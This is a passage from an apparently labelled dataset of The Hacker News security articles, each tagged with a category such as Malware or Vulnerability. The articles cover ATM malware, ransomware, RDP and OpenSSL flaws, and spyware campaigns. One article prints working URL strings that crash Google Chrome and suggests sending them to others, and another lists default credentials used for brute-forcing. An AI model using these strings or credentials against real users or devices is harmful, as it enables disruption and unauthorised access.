Some of the documents unlawfully accessed by Kingsbury also involve specifics about open investigations, human sources, and intelligence gaps pertaining to hostile foreign intelligence services and terrorist outfits, and the technical capabilities the FBI possesses to neutralize counterterrorism targets.
""As an intelligence analyst for the FBI, the defendant was entrusted with access to sensitive government materials,"" said Assistant Attorney General John C. Demers for DoJ's National Security Division. ""Kingsbury is alleged to have violated our nation's trust by stealing and retaining classified documents in her home for years. Insider threats are a significant danger to our national security, and we will continue to work relentlessly to identify, pursue and prosecute individuals who pose such a threat.""

",Cyber_Attack
Hackers Steal Millions From European ATMs Using Malware That Spit Out Cash,https://thehackernews.com/2016/11/atm-hack-malware.html,"ATM hackers who long relied on tactics of stealing payment card numbers and online banking credentials to steal millions are now targeting the bank itself to steal cash directly from the machines.

Earlier this year, a gang of cyber criminals infected several ATMs with malware in Taiwan and Thailand that caused the machines to spit out millions in cash, and the gang members then stood in front of the infected ATMs at the appointed hour and collected the money.

Now, the FBI has warned U.S. banks of the potential for similar ATM jackpotting attacks, saying that the agency is ""monitoring emerging reports indicating that well-resourced and organized malicious cyber actors have intentions to target the U.S. financial sector.""

ATM jackpotting is a technique used to force automated teller machines to spit out cash.

According to Russian cyber security firm Group-IB, cyber crooks have remotely infected ATMs with malware in more than dozen countries across Europe this year, which forces machines to spit out cash.

The world's two largest ATM manufacturers, Diebold Nixdorf and NCR Corp., said they were aware of the ATM attacks and had already been working with their customers to mitigate the threat.

The cyber criminals have been targeting ATMs for at least five years, but the latest hacking campaigns mostly involved small numbers of ATMs due to the fact that hackers required physical access to the machines to collect cash.

Group-IB did not name the banks targeted in the campaign but said the victims were located in Armenia, Bulgaria, Estonia, Georgia, Belarus, Kyrgyzstan, Moldova, Spain, Poland, the Netherlands, Romania, the United Kingdom, Russia, and Malaysia.

Both Diebold Nixdorf and NCR said they had already provided banks with information on how to thwart the attack, Reuters reported.
""We have been working actively with customers, including those who have been impacted, as well as developing proactive security solutions and strategies to help prevent and minimize the impact of these attacks,"" said Owen Wild, NCR's global marketing director for enterprise fraud and security.
The disclosure of the new campaign comes months after two large ATM hacks, wherein hackers stole $2.5 Million from Taiwan's First Bank and $350,000 from Thailand's state-owned Government Savings Bank.

While Group-IB believes the attacks across Europe were conducted by a single criminal group, dubbed Cobalt, the FBI believes the malicious software used in the attack could be linked to the Russian ATM gang known as Buhtrap, the Wall Street Journal reported.

However, citing the tools and techniques used by both groups, Group-IB believes that Cobalt is linked to Buhtrap, which stole 1.8 Billion rubles ($28 Million) from Russian banks between August 2015 and January 2016.

",Malware
"Aw, Snap! This 16-Character String Can Crash Your Google Chrome",https://thehackernews.com/2015/09/google-chrome-crash.html,"Remember when it took only 13 characters to crash Chrome browser instantly? This time, it takes 16-character simple URL string of text to crash Google Chrome instantly.

Yes, you can crash the latest version of Chrome browser with just a simple tiny URL.

To do this, all you need to do is follow one of these tricks:
Type a 16-character link and hit enter
Click on a 16-character link
Just put your cursor on a 16-character link
Yes, that's right. You don't even have to open or click the malformed link to cause the crash, putting the cursor on the link is enough to crash your Chrome.

All the tricks mentioned above will either kill that particular Chrome tab or kill the whole Chrome browser.

The issue was discovered by security researcher Andris Atteka, who explained in his blog post that just by adding a NULL char in the URL string could crash Chrome instantly.

Atteka was able to crash the browser with a 26 character long string, which is given below:

WARNING: Don't Click or even Point your cursor to the following Link otherwise it will crash your tab or even your whole Chrome browser.
https://biome3d.com/%%30%30
However, VentureBeat managed to crash the browser with even fewer characters — only 16 Characters in total (given below).
https://a/%%30%30
What's actually Happening?

According to the researcher, this Chrome crash Bug actually is a ""DOS vulnerability"" and not a security flaw. Still, this bug has potential to make you lose all your open tabs and windows on Chrome browser.

Here's the technical explanation given by Atteka:
""It seems to be crashing in some very old code. In the Debug build, it is hitting a DCHECK on an invalid URL in GURL, deep in some History code. Given that it is hitting a CHECK in the Release build, I do not think this is actually a security bug, but I am going to leave it as such.""
The issue appears to be small but is actually serious, as it is possible for any of your friends to tweet out the link in question, and crash all Chrome users whose Twitter timeline will load that link.

In an attempt to bother you, your friends could even send this link in emails or messages.

In June, Skype was plagued by a similar bug that caused a crash from a simple text string: ""https://:"". These 8-character string caused Skype to instantly crash on the recipient's system, without even displaying the message.

Atteka reported this latest Chrome crash bug to Google but didn't receive any bounty from the company, as the bug is not really a security threat.

Google has yet to release a patch for this latest Chrome crash bug.

The bug affects all versions of the browser including Google Chrome 45, which is the current stable version of the browser, and crashes both Windows as well as Mac OS X versions of the browser.

Meanwhile, the mobile version of Chrome seems to be unaffected by this Chrome Crash Bug.

Update: The Hacker News readers have experienced that the Chrome Crash Bug also works on the mobile version of Chrome browser when a user tries to copy the malformed link in question.

I also checked the Chrome crash bug on my One Plus One handset and found that long tapping on the malformed link crashes Chrome tab on mobile version of Chrome as well.

",Vulnerability
Most advanced and dangerous malware for Apple products - why you should be concerned !,https://thehackernews.com/2011/10/most-advanced-and-dangerous-malware-for.html,"Most advanced and dangerous malware for Apple products - Why you should be concerned !


Indian security researcher from MalCon has created an advanced and dangerous malware for Apple products which can not only compromize your privacy but also steal important data and let hackers control your device by simple text messages.

If you are using any Apple product such as iPhone, iPad or iPod, then you shuuld be concerned. Indian security researcher from MalCon, Atul Alex has created an advanced malware for the Apple products which can not only intercept calls of users, steal data, but also provide a reverse VNC to see remotely all the actions of the victim.

The malware can be deployed remotely over the web and is supposed to work on the latest iOS 5. Atul Alex, Technical director of MalCon said ""Apple products are extremely secure by design. The malware works on jailbroken devices - something which over 90% of users have. If your device is not jailbroken, you have nothing to worry about!"".

However, over 90% of users normally jailbreak their devices. iOS jailbreaking, or simply jailbreaking, is the process of removing the limitations imposed by Apple on devices running the iOS operating system through use of custom kernels. Such devices include the iPhone, iPod Touch, iPad, and 2nd Gen Apple TV. Jailbreaking allows users to gain root access to the operating system, allowing iOS users to download additional applications, extensions, and themes that are unavailable through the official Apple App Store. A jailbroken iPhone, iPod Touch, or iPad running iOS can still use the App Store, iTunes, and other normal functions, such as making telephone calls.

The malware malware boasts of the following features:
• Control devices by SMS
• Invisible Malware
• VNC Server to view remote screen
• Record and listen to all calls remotely
• Upload / Download user Data
• Access all mails and texts

The Malware will be demonstrated next month at the upcoming International Malware Conference, MalCon in Mumbai, India. The researcher Atul Alex has previously coded and demonstated a custom malicious firmware for Symbian last year.

",Malware
A Patient Dies After Ransomware Attack Paralyzes German Hospital Systems,https://thehackernews.com/2020/09/a-patient-dies-after-ransomware-attack.html,"German authorities last week disclosed that a ransomware attack on the University Hospital of Düsseldorf (UKD) caused a failure of IT systems, resulting in the death of a woman who had to be sent to another hospital that was 20 miles away.
The incident marks the first recorded casualty as a consequence of cyberattacks on critical healthcare facilities, which has ramped up in recent months.
The attack, which exploited a Citrix ADC CVE-2019-19781 vulnerability to cripple the hospital systems on September 10, is said to have been ""misdirected"" in that it was originally intended for Heinrich Heine University, according to an extortion note left by the perpetrators.
After law enforcement contacted the threat actors and informed them that they had encrypted a hospital, the operators behind the attack withdrew the ransom demand and provided the decryption key.
The case is currently being treated as a homicide, BBC News reported over the weekend.
Unpatched Vulnerabilities Become Gateway to Ransomware Attacks
Although several ransomware gangs said early on in the pandemic that they would not deliberately target hospitals or medical facilities, the recurring attacks prompted the Interpol to issue a warning cautioning hospitals against ransomware attacks designed to lock them out of their critical systems in an attempt to extort payments.
Weak credentials and VPN vulnerabilities have proven to be a blessing in disguise for threat actors to break into the internal networks of businesses and organizations, leading cybersecurity agencies in the U.S. and U.K. to publish multiple advisories about active exploitation of the flaws.
""The [Federal Office for Information Security] is becoming increasingly aware of incidents in which Citrix systems were compromised before the security updates that were made available in January 2020 were installed,"" the German cybersecurity agency said in an alert last week.
""This means that attackers still have access to the system and the networks behind it even after the security gap has been closed. This possibility is currently increasingly being used to carry out attacks on affected organizations.""
The development also coincides with a fresh advisory from the U.K. National Cyber Security Centre (NCSC), which said it's observed an uptick in ransomware incidents targeting educational institutions at least since August 2020, while urging schools and universities to implement a ""defence in depth"" strategy to defend against such malware attacks.
Some of the affected institutions included Newcastle and Northumbria Universities, among others.
Citing Remote Desktop Protocol (RDP), vulnerable software or hardware, and email phishing as the three most common infection vectors, the agency recommended organizations to maintain up-to-date offline backups, adopt endpoint malware protection, secure RDP services using multi-factor authentication, and have an effective patch management strategy in place.
A Spike in Ransomware Infections
If anything, the ransomware crisis seems to be only getting worse. Historical data gathered by Temple University's CARE cybersecurity lab has shown that there have been a total of 687 publicly disclosed cases in the U.S. since 2013, with 2019 and 2020 alone accounting for more than half of all reported incidents (440).
Government facilities, educational institutions, and healthcare organizations are the most frequently hit sectors, as per the analysis.
And if 2020 is any indication, attacks against colleges and universities are showing no signs of slowing down.
Allan Liska, a threat intelligence analyst at Recorded Future, revealed there had been at least 80 publicly reported ransomware infections targeting the education sector to date this year, a massive jump from 43 ransomware attacks for the whole of 2019.
""Part of this change can be attributed to extortion sites, which force more victims to announce attacks,"" Liska said in a tweet. ""But, in general, ransomware actors have more interest in going after colleges and universities, and they are often easy targets.""
You can read more about NCSC's mitigation measures here. For more guidance on proofing businesses against ransomware attacks, head to US Cybersecurity Security and Infrastructure Security Agency's response guide here.

",Vulnerability
Hacker who reported flaw in Hungarian Telekom faces up to 8-years in prison,https://thehackernews.com/2019/02/vulnerability-disclosure-hacker.html,"Many of you might have this question in your mind:

""Is it illegal to test a website for vulnerability without permission from the owner?""

Or… ""Is it illegal to disclose a vulnerability publicly?""

Well, the answer is YES, it's illegal most of the times and doing so could backfire even when you have good intentions.

Last year, Hungarian police arrested a 20-year-old ethical hacker accused of finding and exploiting serious vulnerabilities in Magyar Telekom, the largest Hungarian telecommunication company, who is now facing up to 8 years in prison.

According to local Hungarian media, the defender first discovered a severe vulnerability in Magyar Telekom systems in April 2018 and reported it to the company officials, who later invited him to a meeting.

Reportedly, the hacker then traveled to Budapest for the meeting, which didn't go well as he expected, and apparently, the company did not permit him to test its systems further.

However, the man continued probing Magyar Telekom networks and discovered another severe vulnerability at the beginning of May that could have allowed an attacker to access all public and retail mobile and data traffic, and monitor company's servers.

When Magyar Telekom detected an ""uninvited"" intrusion on their internal network, the company on same day reported the incident to the police, leading to his arrest.

The hacker is currently on trial. The Hungarian Prosecution Service is requesting a prison sentence, while the Hungarian Civil Liberties Union, a non-profit human rights watchdog, is defending the hacker, claiming that the indictment is inaccurate, incomplete and in false colors.

However, the Prosecutor's Office said ""anyone who reads the prosecutor's document can make sure that the indictment contains all information,"" arguing that the defendant crossed a line and due to the danger his actions may have posed to society, he must face legal consequences.

The Prosecutor's Office also offered the man a plea bargain, which said if he admitted his guilt, he would be given a 2-year suspended sentence, and if not, he would have to serve five years in jail.

After he refused the plea deal, the hacker has now been charged with an upgraded crime in the indictment, i.e., disrupting the operation of a ""public utility,"" which could soon end him up behind bars for up to 8 years, if proven guilty.
",Vulnerability
BASHLITE Malware leverages ShellShock Bug to Hijack Devices Running BusyBox,https://thehackernews.com/2014/11/bashlite-malware-leverages-shellshock.html,"Cyber criminals are using new malware variants by exploiting GNU Bash vulnerability referred to as ShellShock (CVE-2014-6271) in order to infect embedded devices running BusyBox software, according to a researcher.

A new variant of ""Bashlite"" malware targeting devices running BusyBox software was spotted by the researchers at Trend Micro shortly after the public disclosure of the ShellShock vulnerability.

BusyBox provides set of command line utilities that are specifically designed to run in constrained embedded environments. At compile time, different capabilities can be left out, reducing the size of the binaries, and efforts are made to make them memory efficient. This makes the software an excellent candidate for use in consumer electronics devices, which seem to have been the items of interest in this case.

The malware variant, detected as ELF_BASHLITE.A (ELF_FLOODER.W), when executed on victim's machine, scans compromised networks for devices such as routers and Android phones running BusyBox to brute force logins through a preset list of usernames and passwords.

The variant would then run a command to download and run bin.sh and bin2.sh scripts to gain control over Busybox systems once a connection was established. Therefore, this newer version of Bashlite is designed not only to identify systems running BusyBox, but also to hijack them.
""Remote attackers can possibly maximize their control on affected devices by deploying other components or malicious software into the system depending on their motive,"" threat response engineer at Trend Micro, Rhena Inocencio wrote on a blog post.
""As such, a remote attacker can issue commands or download other files on the devices thus compromising its security.""
Miscreants attempted to log in using a predefined list of usernames which include 'root', 'admin' and 'support' and common and default list of passwords such as 'root,' 'admin,' '12345,' 'pass,' 'password,' '123456' and so on.

Trend Micro's Inocencio urged users to change their default usernames and passwords in order to keep them on the safer side, and also to disable remote shells, if possible, to avoid its exploitation.

Bashlite malware includes the payload of the ShellShock exploit code and threat actors have used this critical ShellShock Bash command vulnerability (CVE-2014-6271) to build botnets from hijacked devices, launch distributed denial-of-service (DDoS) attacks, and target network attached storage boxes among other exploits.

The Critical ShellShock Bash bug was disclosed on September 24 and by September 30 security firms estimated that attacks using the exploit could top 1 billion, and more than 1000 organizations patched the ShellShock bug as fixes became available.

",Malware
"Iran will Develop their own security Software, No more foreign Solution",https://thehackernews.com/2012/02/iran-will-develop-their-own-security.html,"Iran will Develop their own security Software, No more foreign Solution


According to latest report, Iran's Information and Communications Technology Minister announce that - Iran has prohibited import of foreign computer security software.

Because International sanctions stopped Iran from obtaining anti-virus software. So, Iran stressed that no foreign software for computer security will be imported into the country, adding that Iran will rely on its own software, made by local developers. The Bonian Daneshpajouhan Institute has about 25 smaller firms that develop domestic security software of various nature, and country will rely on it.

A senior Iranian intelligence official has claimed that an estimated 16,000 computers were infected by the Stuxnet virus, which targeted the country's nuclear facilities and other industrial sites in 2010. The ban is intended to push Iran into the production of its own malware defense instruments.

Whether the Stuxnet virus affected only computers within Iran, or whether the virus has infected computers outside the country as well. The virus, specifically designed to target Iran's nuclear facilities and other industrial sites, was created in 2010. Two more espionage viruses were recently uncovered by Iranian officials, The Stars virus embeds itself in the file systems of government institutions, and the Duqu virus gathers information.

However, the Islamic Republic has one of the most secure cyberspace in the world with 120 national systems and sub-systems. Iran launched a cyber defense headquarters some four months ago. The key task of cyber defense is to prevent computer worms or as some call it cyber weapons from breaking into or stealing data from Iran's maximum security networks, including nuclear facilities, power plants, data centers and banks.

",Malware
Critical OpenSSL Flaw Allows Hackers to Impersonate Any Trusted SSL Certificate,https://thehackernews.com/2015/07/openssl-vulnerability-ssl-certificate.html,"The mysterious security vulnerability in the widely used OpenSSL code library is neither HeartBleed nor FREAK, but it's critical enough to be patched by sysadmins without any delay.

OpenSSL Foundation released the promised patch against a high severity vulnerability in OpenSSL versions 1.0.1n and 1.0.2b, resolving a certificate forgery issue in the implementations of the crypto protocol.

The critical vulnerability could allow man-in-the-middle attackers to impersonate cryptographically protected websites, virtual private networks, or e-mail servers, and snoop on encrypted Internet traffic.

The vulnerability, (CVE-2015-1793), is due to a problem lies in the certificate verification process. An error in its implementation skipped some security checks on new, untrusted certificates.

By exploiting this vulnerability, an attacker could circumvent certificate warnings that enable them to force applications into treating an invalid certificate as a legitimate Certificate Authority.
""An error in the implementation of this logic can mean that an attacker could cause certain checks on untrusted certificates to be bypassed,"" an advisory by OpenSSL explains, ""such as the CA flag, enabling them to use a valid leaf certificate to act as a CA and ""issue"" an invalid certificate.""
This problem impacts any end-user application that verifies certificates including Transport Layer Security (TLS) or Secure Sockets Layer (SSL) or DTLS clients and SSL/TLS/DTLS servers using client authentication.

This security issue was discovered by Adam Langley and David Benjamin of Google BoringSSL, Google's own version of the OpenSSL toolkit. The developers reported the flaw to OpenSSL on 24 June and then submitted a fix to address the issue.

The security flaw affects OpenSSL versions 1.0.1n, 1.0.2b, 1.0.2c, and 1.0.1o. So we recommend users of OpenSSL version 1.0.2b/1.0.2c to upgrade their system to version 1.0.2d and users of OpenSSL version 1.0.1n/1.0.1o to upgrade to version 1.0.1p.

",Vulnerability
Unsecured Adobe Server Exposes Data for 7.5 Million Creative Cloud Users,https://thehackernews.com/2019/10/adobe-database-leaked.html,"The U.S. multinational computer software company Adobe has suffered a serious security breach earlier this month that exposed user records' database belonging to the company's popular Creative Cloud service.

With an estimated 15 million subscribers, Adobe Creative Cloud or Adobe CC is a subscription service that gives users access to the company's full suite of popular creative software for desktop and mobile, including Photoshop, Illustrator, Premiere Pro, InDesign, Lightroom, and many more.

What happened? — Earlier this month, security researcher Bob Diachenko collaborated with the cybersecurity firm Comparitech to uncover an unsecured Elasticsearch database belonging to Adobe Creative Cloud subscription service that was accessible to anyone without any password or authentication.

How many victims? — The inadvertently exposed database, which has now been secured, contained personal information of nearly 7.5 million Adobe Creative Cloud user accounts.

What type of information was exposed? — The exposed information included Creative Cloud users':

Email addresses
Account creation date
The Adobe products they subscribed to
Subscription status
Payment status
Member IDs
Country
Time since the last login
Is the user an Adobe employee


What might attackers have achieved? — Since the misconfigured cloud database did not include any password or financial information such as credit card numbers, the exposed data is severe enough to expose Adobe CC users to highly targeted and convincing phishing attacks.

""The information exposed in this leak could be used against Adobe Creative Cloud users in targeted phishing emails and scams,"" Comparitech said in a blog post. ""Fraudsters could pose as Adobe or a related company and trick users into giving up further info, such as passwords, for example.""

How Adobe addressed the security breach? — Diachenko discovered the exposed database and immediately notified Adobe on October 19.

The company responded to the security incident swiftly and shut off public access to the database on the same day, according to a blog post published by Adobe on Friday.

""Late last week, Adobe became aware of a vulnerability related to work on one of our prototype environments. We promptly shut down the misconfigured environment, addressing the vulnerability,"" Adobe said.
""This issue was not connected to, nor did it affect, the operation of any Adobe core products or services. We are reviewing our development processes to help prevent a similar issue occurring in the future.""

However, it's still unclear how long the database containing records of 7.5 million Adobe Creative Cloud users was exposed before the researcher discovered it.

What users should do? — It's unknown if the database had been unauthorizedly accessed by anyone else before the researcher discovered it, but in case they discovered it, users should mainly be suspicious of phishing emails, which are usually the next step of cyber criminals in an attempt to trick users into giving up further details like passwords and financial information.

Though the database did not expose any financial information, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank, if find any.

Adobe also offers two-factor authentication that users should enable to help them secure their accounts with an additional layer of security.

",Data_Breaches
"Data Breach Day — Patreon (2.3M), T-Mobile (15M) and Scottrade (4.6M) — HACKED!",https://thehackernews.com/2015/10/data-breach-hacking.html,"This week, three high-profile data breaches took place, compromising personal and sensitive details of millions of people.
Telecommunication giant T-Mobile
Crowdfunding website Patreon
US brokerage firm Scottrade
In T-Mobile's case, its credit application processor Experian was hacked, potentially exposing highly sensitive details of 15 Million people who applied for its service in the past two years.

The stolen data includes home addresses, birth dates, driver's license number, passport number, military I.D. numbers and – most unfortunately – the Social Security numbers, among other information.

Patreon Hack Hits 2.3 Million Users

In Patreon's case, hackers managed to steal almost 15 gigabytes' worth of data including names, shipping addresses and email addresses of 2.3 Million users.

In a post published late Wednesday, Patreon CEO Jack Conte confirmed that the crowdfunding firm had been hacked and that the personal data of its users had been accessed.

According to the company, no credit card or debit card numbers were stolen in the data breach, and also the already accessed, ""all passwords, social security numbers, and tax form information"" were properly encrypted.

However, the company still suggests all its customers to change their passwords as a precaution.

The data hacked in the breach has since been circulating in various online locations for anyone to download, though it isn't immediately possible to confirm the authenticity of the dumped data.

Scottrade Hack Hits 4.6 Million Users

The last but not the least is the Online discount brokerage Scottrade that had suffered a data breach affecting 4.6 Million of its customers.

The company announced on its website that hackers managed to access one of its servers in late 2013 and early 2014, stealing names and street addresses for 4.6 million of their clients.

Other sensitive information, including email addresses and Social Security numbers, were also stored in the compromised system, but the company believes that this information has not been compromised.
""We have no reason to believe that Scottrade's trading platforms or any client funds were compromised,"" the company's statement reads. ""Client passwords remained fully encrypted at all times, and we have not seen any indication of fraudulent activity as a result of this incident.""
Scottrade is also offering a year of free identity theft protection services as a precaution to its 4.3 Million affected customers.

The news comes just a day after the theft of 15 million T-Mobile customers' data after a massive data breach of its credit reporting vendor Experian.

Meanwhile, you can do can one thing to prevent further damages from these data breaches: Freeze your credit report. Here's how you can Freeze your Credit Report.

",Cyber_Attack
Flaws in Popular RDP Clients Allow Malicious Servers to Reverse Hack PCs,https://thehackernews.com/2019/02/remote-desktop-hacking.html,"You've always been warned not to share remote access to your computer with any untrusted people for many reasons—it's basic cyber security advice, and common sense, right?

But what if I say, you should not even trust anyone who invites or offers you full remote access to their computers?

Security researchers at cybersecurity firm Check Point have discovered more than two dozen vulnerabilities in both open-source RDP clients and Microsoft's own proprietary client that could allow a malicious RDP server to compromise a client computer, reversely.

RDP, or Remote Desktop Protocol, allows users to connect to remote computers. The protocol is usually used by technical users and IT administrators to remotely connect to other devices on the network.

RDP was initially developed by Microsoft for its Windows operating system, but there are several open source clients for the RDP protocol that can be used on Linux as well as Unix systems.

Check Point researchers recently conducted a detailed analysis of three popular and most commonly used RDP clients—FreeRDP, rdesktop, and Windows built-in RDP client—and identified a total of 25 security flaws, some of which could even allow a malicious RDP server to remotely take control of computers running the client RDP software.

FreeRDP, the most popular and mature open-source RDP client on Github, has been found vulnerable to six vulnerabilities, five of which are major memory corruption issues that could even result in remote code execution on the client's computer.
rdesktop, an older open-source RDP client that comes by default in Kali Linux distributions, has been found to be the most vulnerable RDP client with a total of 19 vulnerabilities, 11 of which could allow a malicious RDP server to execute arbitrary code on the client's computer.

Though Windows built-in RDP client does not contain any remote code execution flaw, researchers discovered some interesting attack scenarios that are possible because the client and the server share the clipboard data, allowing the client to access and modify clipboard data on the server end and vice-versa.
""A malicious RDP server can eavesdrop on the client's clipboard—this is a feature, not a bug. For example, the client locally copies an admin password, and now the server has it too,"" researchers say while explaining the first attack scenario.
""A malicious RDP server can modify any clipboard content used by the client, even if the client does not issue a 'copy' operation inside the RDP window. If you click 'paste' when an RDP connection is open, you are vulnerable to this kind of attack,"" reads the second attack scenario.
What's more? In another video, researchers demonstrated how the clipboard attack using Microsoft's RDP software could even allow malicious RDP server to trick client system into saving a malware file in Windows' startup folder, which will automatically get executed every time the system boots.

Researchers reported the vulnerabilities to the developers of the impacted RDP clients in October 2018.
FreeRDP patched the flaws as part of its v2.0.0-rc4 release and rolled out the software release to its GitHub repository less than a month after being notified.

Rdesktop patched the issues as part of its v1.8.4 release and rolled out the fix in mid-January.
Microsoft acknowledged the researchers' findings but decided not to address the issues. The tech giant said: ""We determined your finding is valid but does not meet our bar for servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).""
However, Windows RDP client users can protect themselves against the attacks demonstrated by the researchers by merely disabling the clipboard-sharing feature, which comes enabled by default, when connecting to a remote machine.

",Vulnerability
"Backdoor found in Samsung Galaxy Devices, allows Hackers to remotely access/modify Data",https://thehackernews.com/2014/03/backdoor-found-in-samsung-galaxy.html,"Google's Android operating system may be open source, but the version of Android that runs on most phones, tablets, and other devices includes proprietary, closed-source components.

Phone makers, including Samsung ships its Smartphones with a modified version of Android, with some pre-installed proprietary software and because of lack in independent code review of those closed-source apps, it is complex to authenticate its integrity and to identify the existence of backdoors.

Paul Kocialkowski, the developers of the Replicant OS has uncovered a backdoor pre-installed on Samsung Galaxy devices and the Nexus S, that provides remote access to all the data in the device.
Replicant OS is an open source operating system based on the Android mobile platform, which aims to replace all proprietary Android components with their free software counterparts.
In a blog post, He explained that Samrtphones come with two separate processors, one for general-purpose applications processor that runs Android OS and the other one known as the Modem, responsible for communications with the mobile telephony network.

The Researcher found that a Samsung's IPC protocol runs in the background, which is bound to the communications processor, and allows the modem to remotely read, write, and delete files on the user's phone storage. Samsung IPC protocol, implements a class of requests, known as RFS commands, that allows the modem to perform remote I/O operations on the phone's storage.
""The spying can involve activating the device's microphone, but it could also use the precise GPS location of the device and access the camera, as well as the user data stored on the phone. Moreover, modems are connected most of the time to the operator's network, making the backdoor nearly always accessible.""
This backdoor might have been placed there accidently, but remote ability of modifications to the user's personal data without user knowledge poses a serious threat.
""It is possible to build a device that isolates the modem from the rest of the phone, so it can't mess with the main processor or access other components such as the camera or the GPS.""
""The incriminated RFS messages of the Samsung IPC protocol were not found to have any particular legitimacy nor relevant use-case. However, it is possible that these were added for legitimate purposes, without the intent of doing harm by providing a backdoor."" he said.

""However, some RFS messages of the Samsung IPC protocol are legitimate (IPC_RFS_NV_READ_ITEM and IPC_RFS_NV_WRITE_ITEM) as they target a very precise file, known as the modem's NV data."" he added.

The researcher identified multiple Samsung devices affected by this vulnerability, including; Nexus S, Galaxy S, Galaxy S2, Galaxy Note, Galaxy Tab 2, Galaxy S 3, and Galaxy Note 2.

",Vulnerability
"Malware Hijacks Microphones to Spy On Ukrainian Businesses, Scientists and Media",https://thehackernews.com/2017/02/ukraine-russia-hacking_20.html,"Ukraine has once again been a target of a potential hacking attack that infected computer systems from dozens of Ukrainian businesses with highly sophisticated malware, allowing hackers to exfiltrate sensitive data and eavesdrop on their network.

Late last year, the country also suffered a power outage caused by the same group of hackers that targeted Ukraine's power grid with the BlackEnergy malware in late 2015, causing 225,000 residents to lose electricity.

Now security researchers from threat intelligence firm CyberX have uncovered an advanced malware-based operation that has already siphoned over 600 gigabytes of data from about 70 victim organizations, including critical infrastructure, news media, and scientific research.

Operation BugDrop: Damages and Modus Operandi

Dubbed ""Operation BugDrop,"" the large-scale malware campaign has been perpetrated against targets in the Ukraine, though targets from other countries include Russia, Saudi Arabia, and Austria.

CyberX researchers did not identify the clandestine hacking collective but said Operation BugDrop was believed to be the work of highly skilled, government-backed nation-state hackers with nearly limitless resources.
""Operation BugDrop is a well-organized operation that employs sophisticated malware and appears to be backed by an organization with substantial resources,"" reads the CyberX blog post published Wednesday.
""In particular, the operation requires a massive back-end infrastructure to store, decrypt, and analyze several GB per day of unstructured data that is being captured from its targets. A large team of human analysts is also required to manually sort through captured data and process it manually and/or with Big Data-like analytics.""
Here's What the Malware Does:

Operation BugDrop uses sophisticated malware that has been designed to infiltrate the victim's computer and capture screen shots, documents, and passwords, and turn on the PC's microphone to capture audio recordings of all conversations.

The mysterious hacking group infects victims using malicious Microsoft Word documents sent in phishing emails. Once infected, the compromised PCs send the pilfered audio and data to Dropbox, where the hackers retrieve it.

Since the malware uses PC microphones to bug targets and then send the audio and other data files to Dropbox, the researchers have dubbed the malware campaign Operation BugDrop.

Here's How BugDrop Work:
The hackers spread the malware through phishing emails containing Microsoft Office file attachments that include malicious macros embedded in it.

Once the targets open the malware-laden Word document, the hidden, malicious Visual Basic scripts start running in a temporary folder in the background.

The main module of BugDrop downloads the various data-stealing plugins to infected machines and executes them. All the stolen data the malware collects is then uploaded to Dropbox.

Although BugDrop has mainly been designed to record audio files, the malware can also steal the documents, password and other sensitive data from the computer's browsers.

Techniques BugDrop Use to Avoid Detection:

The main malware downloader has low detection rates as:

The malware makes the audio data look like legitimate outgoing traffic.
BugDrop encrypts the DLLs that are installed to avoid detection by traditional anti-virus and sandboxing systems.
The malware uses public cloud service Dropbox.

BugDrop also uses Reflective DLL (Dynamic Link Library) Injection, a malware injection technique that had also been leveraged by the BlackEnergy malware used in the Ukrainian power grid attacks and the Duqu malware in the Stuxnet attacks on Iranian nuclear facilities.

Reflective DLL Injection is used to load malicious code and effectively sidestep security verification procedures without calling the standard Windows API.

Targets of BugDrop:

The malware has targeted a wide range of industries including critical infrastructures, research centers in Ukraine and media organizations.

According to CyberX, BugDrop's primary target has been Ukraine, but it has also been traced to other parts of Russia, Saudi Arabia, and Austria.

Operation BugDrop targets identified by the CyberX researchers so far include:
A firm that designs remote monitoring systems for oil and gas pipeline infrastructures.
An engineering firm that designs electrical substations, water supply plants and gas distribution pipelines.
An international organization that monitors counter-terrorism, human rights, and cyber attacks on critical infrastructure in the Ukraine.
A scientific research institute.
Editors of Ukrainian newspapers.
While concluding the report, CyberX said both private and public sector organizations need to be more vigilant in monitoring their networks and applying more modern technologies like behavioral analytics to identify and quickly respond to these increasingly sophisticated cyber attacks.

",Malware
Privacy Tools — Tor Browser 4.0 and Tails 1.2 Update Released,https://thehackernews.com/2014/10/privacy-tools-tor-browser-40-and-tails.html,"Tor - Privacy oriented encrypted anonymizing service, has announced the launch of its next version of Tor Browser Bundle, Tor version 4.0, which disables SSL3 to prevent POODLE attack and uses new transports that are intended to defeat the Great Firewall of China and other extremely restrictive firewalls.

Tor is generally thought to be a place where users come online to hide their activities and remain anonymous. Tor is an encrypted anonymizing network considered to be one of the most privacy oriented service and is mostly used by activists, journalists to circumvent online censorship and surveillance efforts by various countries.

The popularity of the tool can be estimated by the recent announcement of an Internet router called Anonabox which was the highest crowd funded project on Kickstarter this week, generating more than $500,000 in funding since its launch on Monday. Tor privacy router Anonabox is designed to make all your online activity anonymous and conceal your location, but unfortunately the backers have started to pull their funding for the project due to raising questions related to the authenticity of the product.

DISABLED SSL 3.0 TO PREVENT POODLE ATTACK
One of the major new features in this new version is that it now disables SSL3 connections to prevent users against the ""POODLE"" attack. Padding Oracle On Downgraded Legacy Encryption, or POODLE makes it possible for attackers to spy on your internet browser stemming from a decade old encryption standard, known as SSL version 3.0, which is still being used by majority of Internet users.
""This vulnerability allows the plaintext of secure connections to be calculated by a network attacker,"" said Bodo Möller of the Google Security Team. ""If a client and server both support a version of TLS, the security level offered by SSL 3.0 is still relevant since many clients implement a protocol downgrade dance to work around serve ­side interoperability bugs.""
SUPPORTS FIREFOX 31 ESR
Tor Browser Bundle, which is now known as only Tor Browser, is based on an ESR (Extended Support Release) version of the Mozilla Firefox project. Firefox version 24 ESR has been updated to version 31 ESR and offers many security fixes, including seven critical vulnerabilities.

INTERNET CENSORSHIP CIRCUMVENTION
Another major change in this newly launched Tor series is the browser update that has made it possible for people in internet-censored countries like China to bypass the country's Firewall in order to gain full access to the internet. The censoring of internet access in China is known as the Great Firewall of China.
""More importantly for censored users who were using 3.6, the 4.0 series also features the addition of three versions of the meek pluggable transport. In fact, we believe that both meek-amazon and meek-azure will work in China today, without the need to obtain bridge addresses,"" Tor Browser and Tor Performance Developer Mike Perry explained in a blog post.
But, according to the developers, ""the meek transport still needs performance tuning before it matches other more conventional transports,"" and they plan to work on it.

DOWNLOAD TOR 4.0 NOW
Download Tor version 4.0 from here in order to keep yourself updated.
